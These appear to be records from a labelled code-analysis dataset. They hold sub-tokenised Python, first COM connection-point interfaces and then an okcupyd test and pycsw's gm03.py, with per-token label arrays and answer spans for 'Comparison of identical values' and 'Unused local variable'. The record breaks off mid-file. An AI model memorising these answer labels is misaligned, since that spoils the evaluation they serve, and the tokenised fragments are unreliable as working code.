"d",
"Connect",
"ion",
"Point",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"in",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"\\u",
"GUID",
"_",
")_",
",_",
"'",
"ri",
"id",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"POINTER_",
"(_",
"IC",
"onnect",
"ion",
"Point_",
")_",
")_",
",_",
"'",
"pp",
"CP",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"IC",
"onnect",
"ion",
"Point_",
"._",
"\\u",
"method",
"s\\u_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Get",
"Connect",
"ion",
"Interface",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"\\u",
"GUID",
"_",
")_",
",_",
"'",
"p",
"II",
"D",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Get",
"Connect",
"ion",
"Point",
"Containe",
"r",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"POINTER_",
"(_",
"IC",
"onnect",
"ion",
"Point",
"Container_",
")_",
")_",
",_",
"'",
"pp",
"CP",
"C",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Adv",
"ise",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"in",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"IU",
"nk",
"now",
"n_",
")_",
",_",
"'",
"p",
"Un",
"k",
"Sin",
"k",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"c\\u",
"ulong_",
")_",
",_",
"'",
"pd",
"w",
"Cooki",
"e",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Una",
"dvi",
"se",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"in",
"'_",
"]_",
",_",
"c\\u",
"ulong_",
",_",
"'",
"dw",
"Cooki",
"e",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Enum",
"Connect",
"ion",
"s",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"POINTER_",
"(_",
"IE",
"num",
"Connections_",
")_",
")_",
",_",
"'",
"pp",
"Enum",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"IE",
"num",
"Connections_",
"._",
"\\u",
"method",
"s\\u_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Ne",
"xt",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"in",
"'_",
"]_",
",_",
"c\\u",
"ulong_",
",_",
"'",
"c",
"Connect",
"ion",
"s",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"tag",
"CONNECT",
"DATA_",
")_",
",_",
"'",
"rg",
"cd",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"c\\u",
"ulong_",
")_",
",_",
"'",
"pc",
"Fetche",
"d",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Ski",
"p",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"in",
"'_",
"]_",
",_",
"c\\u",
"ulong_",
",_",
"'",
"c",
"Connect",
"ion",
"s",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Reset",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Clone",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"POINTER_",
"(_",
"IE",
"num",
"Connections_",
")_",
")_",
",_",
"'",
"pp",
"Enum",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"IE",
"num",
"Connect",
"ion",
"Points_",
"._",
"\\u",
"method",
"s\\u_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Ne",
"xt",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"in",
"'_",
"]_",
",_",
"c\\u",
"ulong_",
",_",
"'",
"c",
"Connect",
"ion",
"s",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"POINTER_",
"(_",
"IC",
"onnect",
"ion",
"Point_",
")_",
")_",
",_",
"'",
"pp",
"CP",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"c\\u",
"ulong_",
")_",
",_",
"'",
"pc",
"Fetche",
"d",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Ski",
"p",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"in",
"'_",
"]_",
",_",
"c\\u",
"ulong_",
",_",
"'",
"c",
"Connect",
"ion",
"s",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Reset",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"COMM",
"ETH",
"OD_",
"(_",
"[_",
"]_",
",_",
"HRESULT_",
",_",
"'",
"Clone",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"[_",
"'",
"out",
"'_",
"]_",
",_",
"POINTER_",
"(_",
"POINTER_",
"(_",
"IE",
"num",
"Connect",
"ion",
"Points_",
")_",
")_",
",_",
"'",
"pp",
"Enum",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"tag",
"CONNECT",
"DATA_",
"(_",
"Structure_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\\u",
"fields\\u_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"p",
"Un",
"k",
"'_",
",_",
"POINTER_",
"(_",
"IU",
"nk",
"now",
"n_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"dw",
"Cooki",
"e",
"'_",
",_",
"c\\u",
"ulong_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"IC",
"onnect",
"ion",
"Point",
"Container_",
"(_",
"IU",
"nk",
"now",
"n_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\\u",
"iid",
"\\u_",
"=_",
"GUID",
"_",
"(_",
"'{",
"B1",
"96",
"B2",
"84",
"-",
"BA",
"B4",
"-1",
"01",
"A",
"-",
"B6",
"9",
"C",
"-0",
"0",
"AA",
"003",
"4",
"1",
"D0",
"7",
"}'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u",
"idl",
"flags",
"\\u_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"IC",
"onnect",
"ion",
"Point_",
"(_",
"IU",
"nk",
"now",
"n_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\\u",
"iid",
"\\u_",
"=_",
"GUID",
"_",
"(_",
"'{",
"B1",
"96",
"B2",
"86",
"-",
"BA",
"B4",
"-1",
"01",
"A",
"-",
"B6",
"9",
"C",
"-0",
"0",
"AA",
"003",
"4",
"1",
"D0",
"7",
"}'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u",
"idl",
"flags",
"\\u_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"IE",
"num",
"Connections_",
"(_",
"IU",
"nk",
"now",
"n_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\\u",
"iid",
"\\u_",
"=_",
"GUID",
"_",
"(_",
"'{",
"B1",
"96",
"B2",
"87",
"-",
"BA",
"B4",
"-1",
"01",
"A",
"-",
"B6",
"9",
"C",
"-0",
"0",
"AA",
"003",
"4",
"1",
"D0",
"7",
"}'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u",
"idl",
"flags",
"\\u_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"IE",
"num",
"Connections_",
"(_",
"IU",
"nk",
"now",
"n_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"\\u\\u",
"iter\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"IE",
"num",
"Connections_",
"(_",
"IU",
"nk",
"now",
"n_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"next_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"cp_",
",_",
"fetched",
"_",
"=_",
"self_",
"._",
"Next_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"fetched",
"_",
"==_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Sto",
"p",
"Iteration_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"cp_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"IE",
"num",
"Connect",
"ion",
"Points_",
"(_",
"IU",
"nk",
"now",
"n_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\\u",
"iid",
"\\u_",
"=_",
"GUID",
"_",
"(_",
"'{",
"B1",
"96",
"B2",
"85",
"-",
"BA",
"B4",
"-1",
"01",
"A",
"-",
"B6",
"9",
"C",
"-0",
"0",
"AA",
"003",
"4",
"1",
"D0",
"7",
"}'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u",
"idl",
"flags",
"\\u_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"IE",
"num",
"Connect",
"ion",
"Points_",
"(_",
"IU",
"nk",
"now",
"n_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"\\u\\u",
"iter\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"IE",
"num",
"Connect",
"ion",
"Points_",
"(_",
"IU",
"nk",
"now",
"n_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"next_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"cp_",
",_",
"fetched",
"_",
"=_",
"self_",
"._",
"Next_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"fetched",
"_",
"==_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Sto",
"p",
"Iteration_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Comparison of identical values | IvanMalison/okcupyd/tests/util_test.py | [
{
"content": "def test_curry_cache_behavior_problems():\n\n class CurryCacheTest(object):\n def func(self, a=1):\n return 2 + a\n\n test = util.curry(func)\n\n def func(self):\n return 1\n\n instance = CurryCacheTest()\n assert instance.func() == 1\n assert instance.test() == 3\n assert instance.func() == 1\n\n # Ensure we are getting new bound instances each time\n assert instance.test is not instance.test\n assert instance.func is not instance.func\n\n class CurryCacheTest2(object):\n def func(self, a=1):\n return 2 + a\n\n test = util.curry(func, cache_name='test')\n\n @util.curry(cache_name=True)\n def func(self):\n return 1\n\n instance = CurryCacheTest2()\n assert instance.func() == 1\n assert instance.test() == 3\n assert instance.func() == 1\n\n # Ensure we are caching the result of the curry each time\n assert instance.test is instance.test\n assert instance.func is instance.func",
"metadata": "root.test_curry_cache_behavior_problems",
"header": "['module', '___EOS___']",
"index": 44
}
]
| [
{
"span": "instance.test is not instance.test",
"start_line": 61,
"start_column": 11,
"end_line": 61,
"end_column": 45
},
{
"span": "instance.func is not instance.func",
"start_line": 62,
"start_column": 11,
"end_line": 62,
"end_column": 45
},
{
"span": "instance.test is instance.test",
"start_line": 80,
"start_column": 11,
"end_line": 80,
"end_column": 41
},
{
"span": "instance.func is instance.func",
"start_line": 81,
"start_column": 11,
"end_line": 81,
"end_column": 41
}
]
| []
| 1 | true | [
"[CLS]_",
"Compari",
"son_",
"of_",
"identical_",
"values_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"curr",
"y",
"\\u",
"cache",
"\\u",
"behavior",
"\\u",
"problems_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"class_",
"Curr",
"y",
"Cache",
"Test_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"func_",
"(_",
"self_",
",_",
"a_",
"=_",
"1_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"2_",
"+_",
"a_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"test_",
"=_",
"util_",
"._",
"curr",
"y_",
"(_",
"func_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"func_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"instance_",
"=_",
"Curr",
"y",
"Cache",
"Test_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"instance_",
"._",
"func_",
"(_",
")_",
"==_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"instance_",
"._",
"test_",
"(_",
")_",
"==_",
"3_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"instance_",
"._",
"func_",
"(_",
")_",
"==_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Ensur",
"e",
" ",
"we",
" ",
"are",
" ",
"getti",
"ng",
" ",
"new",
" ",
"bound",
" ",
"instance",
"s",
" ",
"each",
" ",
"time_",
"\\u\\u\\uNL\\u\\u\\u_",
"assert_",
"instance_",
"._",
"test_",
"is_",
"not_",
"instance_",
"._",
"test_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"instance_",
"._",
"func_",
"is_",
"not_",
"instance_",
"._",
"func_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Curr",
"y",
"Cache",
"Test",
"2_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"func_",
"(_",
"self_",
",_",
"a_",
"=_",
"1_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"2_",
"+_",
"a_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"test_",
"=_",
"util_",
"._",
"curr",
"y_",
"(_",
"func_",
",_",
"cache",
"\\u",
"name_",
"=_",
"'",
"test",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"@_",
"util_",
"._",
"curr",
"y_",
"(_",
"cache",
"\\u",
"name_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"func_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"instance_",
"=_",
"Curr",
"y",
"Cache",
"Test",
"2_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"instance_",
"._",
"func_",
"(_",
")_",
"==_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"instance_",
"._",
"test_",
"(_",
")_",
"==_",
"3_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"instance_",
"._",
"func_",
"(_",
")_",
"==_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Ensur",
"e",
" ",
"we",
" ",
"are",
" ",
"caching",
" ",
"the",
" ",
"result",
" ",
"of",
" ",
"the",
" ",
"curr",
"y",
" ",
"each",
" ",
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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
2,
2,
0,
1,
1,
1,
1,
1,
1,
2
]
|
Unused local variable | geopython/pycsw/pycsw/plugins/outputschemas/gm03.py | [
{
"content": "def write_record(result, esn, context, url=None):\n ''' Return csw:SearchResults child as lxml.etree.Element '''\n\n typename = util.getqattr(result, context.md_core_model['mappings']['pycsw:Typename'])\n\n if typename == 'gm03:TRANSFER':\n # dump record as is and exit\n # TODO: provide brief and summary elementsetname's\n return etree.fromstring(util.getqattr(result, context.md_core_model['mappings']['pycsw:XML']), context.parser)\n\n node = etree.Element(util.nspath_eval('gm03:TRANSFER', NAMESPACES), nsmap=NAMESPACES)\n\n header = etree.SubElement(node, util.nspath_eval('gm03:HEADERSECTION', NAMESPACES))\n header.attrib['version'] = '2.3'\n header.attrib['sender'] = 'pycsw'\n\n etree.SubElement(header, util.nspath_eval('gm03:MODELS', NAMESPACES))\n\n data = etree.SubElement(node, util.nspath_eval('gm03:DATASECTION', NAMESPACES))\n\n core = etree.SubElement(data, util.nspath_eval('gm03:GM03_2_1Core.Core', NAMESPACES))\n core_meta = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.MD_Metadata', NAMESPACES))\n\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:Identifier'])\n etree.SubElement(core_meta, util.nspath_eval('gm03:fileIdentifier', NAMESPACES)).text = val\n\n language = util.getqattr(result, context.md_core_model['mappings']['pycsw:Language'])\n etree.SubElement(core_meta, util.nspath_eval('gm03:language', NAMESPACES)).text = language\n\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:Modified'])\n etree.SubElement(core_meta, util.nspath_eval('gm03:dateStamp', NAMESPACES)).text = val\n\n hierarchy_level_val = util.getqattr(result, context.md_core_model['mappings']['pycsw:Type'])\n\n # metadata standard name\n standard = etree.SubElement(core_meta, util.nspath_eval('gm03:metadataStandardName', NAMESPACES)).text = 'GM03'\n\n # metadata standard version\n standardver = etree.SubElement(core_meta, util.nspath_eval('gm03:metadataStandardVersion', NAMESPACES)).text = '2.3'\n\n # hierarchy level\n hierarchy_level = etree.SubElement(core_meta, util.nspath_eval('gm03:hierarchyLevel', NAMESPACES))\n scope_code = etree.SubElement(hierarchy_level, util.nspath_eval('gm03:GM03_2_1Core.Core.MD_ScopeCode_', NAMESPACES))\n etree.SubElement(scope_code, util.nspath_eval('gm03:value', NAMESPACES)).text = hierarchy_level_val\n\n # parent identifier\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:ParentIdentifier'])\n parent_identifier = etree.SubElement(core_meta, util.nspath_eval('gm03:parentIdentifier', NAMESPACES))\n scope_code = etree.SubElement(parent_identifier, util.nspath_eval('gm03:GM03_2_1Core.Core.MD_ScopeCode_', NAMESPACES))\n etree.SubElement(scope_code, util.nspath_eval('gm03:value', NAMESPACES)).text = val\n\n # title\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:Title'])\n citation = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.CI_Citation', NAMESPACES))\n title = etree.SubElement(citation, util.nspath_eval('gm03:title', NAMESPACES))\n title.append(_get_pt_freetext(val, language))\n\n # abstract\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:Abstract'])\n data_ident = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.MD_DataIdentification', NAMESPACES))\n abstract = etree.SubElement(data_ident, util.nspath_eval('gm03:abstract', NAMESPACES))\n abstract.append(_get_pt_freetext(val, language))\n\n # resource language\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:ResourceLanguage'])\n if val:\n topicategory = etree.SubElement(data_ident, util.nspath_eval('gm03:language', NAMESPACES))\n cat_code = etree.SubElement(topicategory, util.nspath_eval('gm03:CodeISO.LanguageCodeISO_', NAMESPACES))\n etree.SubElement(cat_code, util.nspath_eval('gm03:value', NAMESPACES)).text = val\n\n # topic category\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:TopicCategory'])\n if val:\n topicategory = etree.SubElement(data_ident, util.nspath_eval('gm03:topicCategory', NAMESPACES))\n cat_code = etree.SubElement(topicategory, util.nspath_eval('gm03:GM03_2_1Core.Core.MD_TopicCategoryCode_', NAMESPACES))\n etree.SubElement(cat_code, util.nspath_eval('gm03:value', NAMESPACES)).text = val\n\n # keywords\n keywords_val = util.getqattr(result, context.md_core_model['mappings']['pycsw:Keywords'])\n\n if keywords_val:\n md_keywords = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.MD_Keywords', NAMESPACES))\n\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:KeywordType'])\n if val:\n etree.SubElement(md_keywords, util.nspath_eval('gm03:type', NAMESPACES)).text = val\n\n keyword = etree.SubElement(md_keywords, util.nspath_eval('gm03:keyword', NAMESPACES))\n for kw in keywords_val.split(','):\n keyword.append(_get_pt_freetext(kw, language))\n\n # format\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:Format'])\n if val:\n md_format = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.MD_Format', NAMESPACES))\n etree.SubElement(md_format, util.nspath_eval('gm03:name', NAMESPACES)).text = val\n\n # creation date\n val = util.getqattr(result, context.md_core_model['mappings']['pycsw:CreationDate'])\n if val:\n ci_date = etree.SubElement(core, util.nspath_eval('gm03:GM03_2_1Core.Core.CI_Date', NAMESPACES))\n etree.SubElement(ci_date, util.nspath_eval('gm03:date', NAMESPACES)).text = val\n etree.SubElement(ci_date, util.nspath_eval('gm03:dateType', NAMESPACES)).text = 'creation'\n\n # revision date\n val = 